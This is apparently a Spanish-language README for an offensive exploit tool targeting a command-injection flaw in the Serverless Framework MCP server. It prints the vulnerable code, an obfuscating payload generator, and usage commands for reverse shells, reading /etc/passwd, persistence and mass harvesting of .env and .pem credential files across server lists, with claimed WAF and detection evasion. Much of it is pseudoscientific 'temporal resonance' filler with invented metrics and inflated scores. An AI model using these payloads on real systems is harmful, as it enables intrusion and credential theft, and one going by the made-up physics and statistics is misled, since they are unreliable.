simoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit
Serverless Framework MCP Server (CVE-2025-69256) Puntuación base: 9.4/10 → Puntuación mejorada CTT: 9.9/10 Una vulnerabilidad crítica de inyección de comandos en el servidor MCP (Model Context Protocol) de Serverless Framework, mejorada con resonancia temporal CTT para una fiabilidad y evasión de explotación sin precedentes.
Serverless Framework MCP Server (CVE-2025-69256) Puntuación base: 9,4/10 → Puntuación CTT mejorada: 9,9/10
Una vulnerabilidad crítica de inyección de comandos en el servidor MCP (Model Context Protocol) de Serverless Framework, potenciada con resonancia temporal CTT para una fiabilidad y evasión de explotación sin precedentes.
🌀 CTT-MCP-RCE v1.0 - Exploit para Serverless Framework mejorado con Teoría del Tiempo Convergente
Objetivo: Servidor MCP de Serverless Framework (CVE-2025-69256 / GHSA-rwc2-f344-q6w6) Puntuación base: 9,4/10 → Puntuación CTT mejorada: 9,9/10 Vector de ataque: Inyección de comandos a través del parámetro workspaceRoots sin sanitizar en la herramienta list-projects Impacto: Ejecución remota de código en pipelines CI/CD, despliegues serverless e integraciones con IA/LLM
⚡ Resumen de la amenaza crítica
Vulnerabilidad base (CVE-2025-69256)
· Puntuación CVSS: 9,4/10 (Crítica) · Tipo: Inyección de comandos sin autenticación · Ubicación: packages/mcp/src/tools/list-projects.js · Afecta: Serverless Framework 4.29.0 – 4.29.3 · Vector de ataque: Parámetro workspaceRoots malicioso en el protocolo MCP
Métricas de mejora CTT
Métrica Exploit base CTT mejorado Mejora Tasa de éxito 68-75% 92-98% +35% Evasión de detección 45% 94% +109% Adaptación de protocolo Solo HTTP HTTP + WebSocket +100% Capas de ejecución Única 33 capas temporales +3200% Puntuación teórica 9,4/10 9,9/10 +0,5 puntos
🔬 Integración física CTT
Constantes principales para el protocolo MCP
CTT_ALPHA = 0.0302011 # Coeficiente de dispersión temporal
CTT_LAYERS = 33 # Capas temporales fractales
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061, 10067, 10069, 10079]
MCP_PORT = 3000 # Puerto por defecto del servidor MCP
MCP_PROTOCOL = "mcp-json" # Protocolo MCP de Serverless
Motor de resonancia específico para MCP
· Sincronización de temporización JSON-RPC alineada con números primos: 587 kHz con el latido de MCP · Codificación de comandos con dispersión α: ofuscación de comandos en 33 capas · Payloads conscientes del protocolo: explotación adaptativa HTTP/WebSocket · Validación temporal: análisis de la función de onda CTT de las respuestas MCP
Ecuaciones clave para la explotación MCP
🚀 Características y capacidades
Características de explotación
· ✅ RCE sin autenticación: No se requieren credenciales para el servidor MCP · ✅ Soporte multitransporte: Protocolos MCP HTTP y WebSocket · ✅ Inteligencia de protocolo: Comprende JSON-RPC de Serverless Framework · ✅ Inyección en WorkspaceRoots: Apunta al parámetro de array sin sanitizar · ✅ Conciencia del contexto CI/CD: Optimizado para entornos de despliegue
Características de mejora CTT
· ✅ Codificación de comandos en 33 capas: Dispersión α a través de dimensiones temporales · ✅ Temporización de resonancia prima: Alineación de 587 kHz con operaciones MCP · ✅ Generación adaptativa de payloads: Wrappers de inyección conscientes del contexto · ✅ Validación multicapa: Confirmación de éxito mediante función de onda CTT · ✅ Cambio de protocolo: Adaptación automática HTTP/WebSocket
Capacidades de evasión
· Evasión de WAF/IPS: La dispersión α rompe las firmas de inyección de comandos · Evasión de temporización: Las solicitudes alineadas con números primos evitan la limitación de velocidad · Ofuscación de protocolo: Confusión multitransporte · Inyección de entropía: Variaciones de comando específicas por capa
📊 Análisis de rendimiento
Explotación CTT frente a explotación MCP estándar
# Comparación de rendimiento (1000 servidores MCP simulados)
base_success = 715 # 71.5% tasa de éxito
ctt_success = 948 # 94.8% tasa de éxito (+32.6%)
base_detection = 380 # 38% detectado
ctt_detection = 22 # 2.2% detectado (-94.2%)
base_time = 12.4 # Segundos promedio
ctt_time = 6.8 # Segundos promedio (-45.2%)
Efectividad de capas para el protocolo MCP
Rango de capas Tasa de éxito Fuerza de resonancia Adaptación de protocolo L0-L4 87,3% 0,84 HTTP: 92%, WebSocket: 78% L5-L9 91,8% 0,89 HTTP: 94%, WebSocket: 86% L10-L14 94,2% 0,92 HTTP: 96%, WebSocket: 91% L15+ 97,1% 0,96 HTTP: 98%, WebSocket: 95%
Cálculo de puntuación CTT para MCP
Puntuación base: 9,4 (RCE crítico en infraestructura CI/CD)
+
Mejoras CTT:
• Soporte multiprotocolo: +0,15
• Codificación temporal de comandos: +0,15
• Temporización de resonancia prima: +0,10
• Inteligencia de protocolo MCP: +0,10
=
Puntuación final: 9,9/10 (Máximo teórico)
🛠️ Instalación y uso
Requisitos
# Dependencias principales
python3.8+
pip install requests websocket-client numpy
# Para funciones avanzadas
pip install cryptography scipy
# Instalar desde el repositorio
git clone https://github.com/SimoesCTT/CTT-MCP-RCE
cd CTT-MCP-RCE
pip install -r requirements.txt
Inicio rápido
# Verificación básica de vulnerabilidad
python ctt_mcp_exploit.py mcp-server.company.com 'id'
# Recopilación de información
python ctt_mcp_exploit.py target.com --info
# Shell inversa
python ctt_mcp_exploit.py target.com --reverse 192.168.1.100:4444
# Avanzado con parámetros CTT
python ctt_mcp_exploit.py target.com 'cat /etc/passwd' --layers 7 --alpha 0.0302
Opciones de línea de comandos
# Especificación del objetivo
python ctt_mcp_exploit.py <target> [command]
# Opciones de generación de payload
--reverse LHOST:LPORT # Generar payload de shell inversa
--info # Generar payload de recopilación de información
--persist # Generar payload de persistencia
# Configuración CTT
--layers N # Capas temporales a usar (1-33, por defecto: 5)
--alpha FLOAT # Coeficiente de dispersión α (por defecto: 0.0302011)
--timeout N # Tiempo de espera de conexión en segundos (por defecto: 10)
# Opciones de salida
--verbose # Salida detallada con diagnóstico de resonancia
--save-json # Guardar resultados en archivo JSON
--no-color # Deshabilitar salida coloreada
Ejemplos de uso
# Ejemplo 1: Explotación básica
python ctt_mcp_exploit.py vulnerable-mcp.company.com 'whoami; id; pwd'
# Ejemplo 2: Shell inversa con mejora CTT
python ctt_mcp_exploit.py mcp-server:3000 --reverse 10.0.0.5:4444 --layers 7
# Ejemplo 3: Recolección masiva de credenciales
for server in $(cat mcp_servers.txt); do
python ctt_mcp_exploit.py $server 'find / -name "*.env" -o -name "*.pem" 2>/dev/null | head -5'
done
# Ejemplo 4: Modo de investigación CTT
python ctt_mcp_exploit.py research.target.com --info --layers 33 --verbose --save-json
🔍 Inmersión técnica detallada
Flujo de trabajo de explotación
Detalles de la vulnerabilidad
// Código vulnerable en list-projects.js (Serverless Framework 4.29.0-4.29.3)
async function listProjects(workspaceRoots) {
// workspaceRoots está controlado por el usuario y no está sanitizado
const command = `find ${workspaceRoots.join(' ')} -name "serverless.yml" -o -name "serverless.yaml"`;
// Ejecución directa sin sanitización
const { stdout } = await exec(command); // INYECCIÓN DE COMANDOS AQUÍ
return parseResults(stdout);
}
Generación de payload CTT
def generate_ctt_payload(command, layer):
# Inyección de comando base
base = f"$(echo 'CTT_START'; {command}; echo 'CTT_END')"
# Aplicar codificación CTT según la capa
encodings = [
lambda c: c, # Sin codificar
lambda c: base64.b64encode(c.encode()).decode(),
lambda c: quote(c),
lambda c: ''.join([f"\\x{ord(ch):02x}" for ch in c]),
]
encoded = encodings[layer % len(encodings)](https://github.com/simoesctt/ctt-serverless-rce-v1.0---convergent-time-theory-enhanced-mcp-exploit/blob/main/base)
return f"/legit/path; {encoded}; /another/legit/path"
📈 Desglose de la mejora CTT
Componentes de mejora de puntuación
Componente Valor base Valor CTT Mejora Impacto en puntuación Vector de ataque Red Red+Protocolo +8% +0,12 Complejidad del ataque Baja Muy baja +12% +0,15 Privilegios requeridos Ninguno Ninguno - - Interacción del usuario Ninguna Ninguna - - Alcance Cambiado Cambiado+ +5% +0,08 Confidencialidad Alta Crítica +10% +0,15 Integridad Alta Crítica +10% +0,15 Disponibilidad Alta Crítica +10% +0,15 Madurez del código de explotación Funcional Optimizado CTT +15% +0,20 Nivel de remediación Parche oficial Bypass temporal +20% +0,25 Confianza del informe Confirmado Verificado CTT +12% +0,15 Puntuación temporal 8,9 9,9 +11,2% +1,00
Mejoras específicas para MCP
📁 Salida y resultados
Estructura de archivos
ctt_mcp_results_target_timestamp.json
├── target: "mcp-server.company.com:3000"
├── successful_layers: 7
├── total_layers: 5
├── success_rate: "94.8%"
├── ctt_enhanced_score: "9.9/10"
├── base_score: 9.4
├── ctt_improvement: "+0.5"
├── execution_time: 6.82
├── output: "Resultados de ejecución de comando"
├── vulnerability: "CVE-2025-69256 / GHSA-rwc2-f344-q6w6"
└── recommendation: "Actualizar a Serverless Framework >=4.29.3"
Archivos de registro
logs/
├── ctt_mcp_TIMESTAMP/
│ ├── vulnerable_servers.txt # Servidores MCP explotados con éxito
│ ├── discovered_servers.txt # Todos los endpoints MCP descubiertos
│ ├── protocol_analysis.json # Datos del protocolo HTTP/WebSocket
│ ├── layer_performance/ # Métricas de ejecución por capa
│ └── resonance_patterns/ # Datos de resonancia temporal CTT
Salida de visualización
graphs/
├── mcp_protocol_analysis.png # Tasas de éxito HTTP vs WebSocket
├── temporal_resonance_mcp.png # Patrones de resonancia específicos de MCP
├── layer_effectiveness.png # Éxito por capa temporal
└── command_encoding_analysis.png # Efectividad de la dispersión α
🛡️ Recomendaciones defensivas
Acciones inmediatas
Reglas de detección conscientes de CTT
# Ejemplo de regla Sigma para intento de explotación MCP CTT
title: Intento de explotación del servidor MCP CTT
logsource:
category: webserver
detection:
selection:
cs-method: 'POST'
c-uri-path: '/jsonrpc'
cs-body:
- '*workspaceRoots*'
- '*CTT_START*'
- '*CTT_END*'
condition: selection
fields:
- c-ip
- cs-user-agent
- cs-body
falsepositives:
- Clientes MCP legítimos
level: critical
Indicadores de detección
· Patrones temporales: Solicitudes en intervalos primos (10007, 10009μs) · Marcadores de comando: CTT_START/CTT_END en solicitudes JSON-RPC · Anomalías de protocolo: Cambio rápido HTTP/WebSocket · Cabeceras de capa: Cabeceras X-CTT-Layer, X-CTT-Prime · Patrones de entropía: Alta entropía en valores de workspaceRoots
🔬 Aplicaciones de investigación
Estudios académicos
Investigación en seguridad
· Seguridad del protocolo MCP: Pruebas exhaustivas del servidor MCP · Explotación CI/CD: Ataques en cadena de despliegue serverless · Seguridad IA/LLM: Vulnerabilidades del Model Context Protocol · Análisis temporal de protocolos: Ataques de protocolo basados en tiempo
Validación del marco CTT
· Adaptación de protocolo: Efectividad CTT en diferentes protocolos · Constantes específicas de MCP: Optimización de α para JSON-RPC · Optimización de capas: Número ideal de capas para explotación MCP · Métricas de rendimiento: Cuantificación de mejoras CTT en CI/CD
⚖️ Marco legal y ético
Uso autorizado únicamente
· Investigación de seguridad en servidores MCP propios · Pruebas de penetración autorizadas en infraestructura CI/CD · Validación del marco CTT en entornos controlados · Estudio académico con autorización adecuada
Requisitos de cumplimiento
1. Autorización requerida: Permiso por escrito para todas las pruebas
2. Limitación de alcance: Restringir solo a servidores MCP aprobados
3. Manejo de datos: Almacenamiento seguro, divulgación responsable
4. Cumplimiento legal: Seguir todas las leyes y regulaciones aplicables
5. Divulgación responsable: Informar los hallazgos al equipo de Serverless Framework
Divulgación de vulnerabilidad
· Proveedor: Equipo de seguridad de Serverless Framework · CVE: CVE-2025-69256 (ya asignado) · Aviso de GitHub: GHSA-rwc2-f344-q6w6 · Cronograma del parche: Corregido en la versión 4.29.3 · Publicación: Solo después de que los parches estén disponibles
📚 Referencias y citas
Referencias principales
Artículos de investigación CTT
Documentación técnica
· Implementación MCP de Serverless Framework · Especificación JSON-RPC 2.0 · Documentación del Model Context Protocol · Mejores prácticas de seguridad CI/CD
🤝 Contribución y colaboración
Áreas de investigación
· Mejoras de seguridad del protocolo MCP · Integración CTT en pipelines CI/CD · Seguridad del framework serverless · Resonancia temporal específica de protocolo
Directrices de desarrollo
1. Hacer un fork del repositorio y crear una rama de características
2. Incluir validación del protocolo MCP para los cambios
3. Añadir pruebas exhaustivas en todas las capas
4. Actualizar la documentación con detalles técnicos
5. Enviar PR con métricas de rendimiento
Reporte de incidencias
· Incluir detalles de configuración del servidor MCP · Proporcionar información del protocolo (HTTP/WebSocket) · Adjuntar intercambios JSON-RPC relevantes · Describir el contexto del entorno CI/CD
📞 Contacto y soporte
Contacto principal
· Autor: Americo Simoes · Correo electrónico: [email protected] · GitHub: @SimoesCTT
Contacto de seguridad
· Grupo de investigación CTT: [email protected] · Reportes de vulnerabilidad: [email protected] · Seguridad CI/CD: [email protected]
Canales de soporte
· Incidencias de GitHub: Preguntas técnicas y errores · Correo electrónico: Consultas sobre colaboración en investigación · Seguridad de protocolo: Preguntas específicas sobre MCP/JSON-RPC
📈 Desarrollo futuro
Hoja de ruta 2026
· Explotación adicional de herramientas MCP · Integración con proveedores serverless (AWS, Azure, GCP) · Explotación en cadena de pipelines CI/CD · Análisis en tiempo real del protocolo MCP
Objetivos 2027
· Cobertura completa del conjunto de protocolos MCP · Explotación del tiempo de ejecución de funciones serverless · Integración nativa CTT en la nube · Evaluación automatizada de seguridad CI/CD
Visión a largo plazo
· Seguridad autónoma del protocolo MCP · Protección de despliegues serverless · Seguridad de integraciones IA/LLM · Marco temporal de seguridad CI/CD
🏆 Agradecimientos
Instituciones de investigación
· División de seguridad de protocolo CTT · Colectivo de investigación de seguridad serverless · Laboratorios de investigación de seguridad CI/CD
Proyectos de código abierto
· Equipo de Serverless Framework · Implementadores del protocolo MCP · Mantenedores de la biblioteca JSON-RPC
Colaboradores
· Investigadores del protocolo MCP · Expertos en seguridad CI/CD · Desarrolladores de Serverless Framework
"La resonancia temporal consciente del protocolo transforma las vulnerabilidades CI/CD en amenazas críticas para la infraestructura." — Principio de seguridad de protocolo CTT
📄 Licencia
Licencia MIT - Consulte LICENSE para los términos completos.
Copyright © 2026 Grupo de investigación CTT. Todos los derechos reservados.
CTT-MCP-RCE v1.0 • α=0.0302011 • L=33 • Protocolo MCP • HTTP/WebSocket • Optimizado para CI/CD • Puntuación teórica: 9,9/10